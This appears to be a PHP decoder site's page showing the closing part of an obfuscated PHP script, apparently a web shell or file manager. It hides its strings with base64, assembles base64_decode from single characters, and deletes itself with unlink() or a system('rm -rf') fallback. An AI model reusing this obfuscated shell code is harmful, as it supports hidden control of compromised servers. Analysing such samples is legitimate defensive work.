wb('Ij5LaWxsIFlvdXJzZWxmIHdpdGggS2luZG5lc3M8L2E+IC0gVGhpcyBwYWdlIGxvYWRlZCBpbiA=') . $timeend . wb('IHNlY29uZHMgPC9kaXY+CgkJCQk8L2Zvb3Rlcj48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj4='); if (isset($_GET[wb('MQ==')])) { echo $f; } elseif (isset($_GET[wb('MA==')])) { echo $g; } else { NULL; } echo wb('PHNjcmlwdD4kKCIuYWp4IikuY2xpY2soKGZ1bmN0aW9uKGUpe2UucHJldmVudERlZmF1bHQoKTt2YXIgdD0kKHRoaXMpLmF0dHIoImhyZWYiKTtoaXN0b3J5LnB1c2hTdGF0ZSgiIiwiIix0KSwkLmdldCh0LChmdW5jdGlvbihlKXskKCJib2R5IikuaHRtbChlKX0pKX0pKSxkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29weS10ZXh0Iikub25jbGljaz1mdW5jdGlvbigpe3RoaXMuc2VsZWN0KCksZG9jdW1lbnQuZXhlY0NvbW1hbmQoImNvcHkiKX07dmFyIHRleHRXcmFwcGVyPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5tbDIiKTt0ZXh0V3JhcHBlci5pbm5lckhUTUw9dGV4dFdyYXBwZXIudGV4dENvbnRlbnQucmVwbGFjZSgvXFMvZywiPHNwYW4gY2xhc3M9bGV0dGVyPiQmPC9zcGFuPiIpLGFuaW1lLnRpbWVsaW5lKHtsb29wOiEwfSkuYWRkKHt0YXJnZXRzOiIubWwyIC5sZXR0ZXIiLHNjYWxlOls0LDFdLG9wYWNpdHk6WzAsMV0sdHJhbnNsYXRlWjowLGVhc2luZzoiZWFzZU91dEV4cG8iLGR1cmF0aW9uOjk1MCxkZWxheTooZSx0KT0+NzAqdH0pLmFkZCh7dGFyZ2V0czoiLm1sMiIsb3BhY2l0eTowLGR1cmF0aW9uOjFlMyxlYXNpbmc6ImVhc2VPdXRFeHBvIixkZWxheToxZTN9KSwkKCIjc2VsZWN0X2FsbCIpLm9uKCJjbGljayIsKGZ1bmN0aW9uKCl7dGhpcy5jaGVja2VkPyQoIi5jaGVja2JveCIpLmVhY2goKGZ1bmN0aW9uKCl7dGhpcy5jaGVja2VkPSEwfSkpOiQoIi5jaGVja2JveCIpLmVhY2goKGZ1bmN0aW9uKCl7dGhpcy5jaGVja2VkPSExfSkpfSkpLCQoIi5jaGVja2JveCIpLm9uKCJjbGljayIsKGZ1bmN0aW9uKCl7JCgiLmNoZWNrYm94OmNoZWNrZWQiKS5sZW5ndGg9PSQoIi5jaGVja2JveCIpLmxlbmd0aD8kKCIjc2VsZWN0X2FsbCIpLnByb3AoImNoZWNrZWQiLCEwKTokKCIjc2VsZWN0X2FsbCIpLnByb3AoImNoZWNrZWQiLCExKX0pKTtmdW5jdGlvbiBidG9hTVJYKCkgeyB2YXIgaW5wdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaW5wdXRUZXh0WSIpLnZhbHVlOyB2YXIgZW5jb2RlZCA9IGJ0b2EoaW5wdXQpO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpbnB1dFRleHRZIikudmFsdWUgPSBlbmNvZGVkOyB9IDwvc2NyaXB0PjwvZGl2PjwvYm9keT48L2h0bWw+'); clearstatcache(); ob_end_flush(); } else { $this_file = basename($_SERVER[wb('U0NSSVBUX05BTUU=')]); if (!unlink($this_file)) { system(wb('cm0gLXJmIA==') . $this_file); die; } } } else { $this_file = basename($_SERVER[wb('U0NSSVBUX05BTUU=')]); if (!unlink($this_file)) { system(wb('cm0gLXJmIA==') . $this_file); } die; } function wb($xf) { $_a = "b"; $_b = "a"; $_c = "s"; $_d = "e"; $_e = "6"; $_f = "4"; $_g = "_"; $_h = "d"; $_i = "e"; $_j = "c"; $_k = "o"; $_l = "d"; $_m = "e"; $b64 = $_a . $_b . $_c . $_d . $_e . $_f . $_g . $_h . $_i . $_j . $_k . $_l . $_m; return $b64($xf); } ?>

Function Calls

None

Variables

None

Stats

MD5	4fd7c9693f6b4accd937245d07e3805d
Eval Count	0
Decode Time	1355 ms

Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

Decoded Output download

Did this file decode correctly?

How would you describe this file?

Original Code

Function Calls

Variables

Stats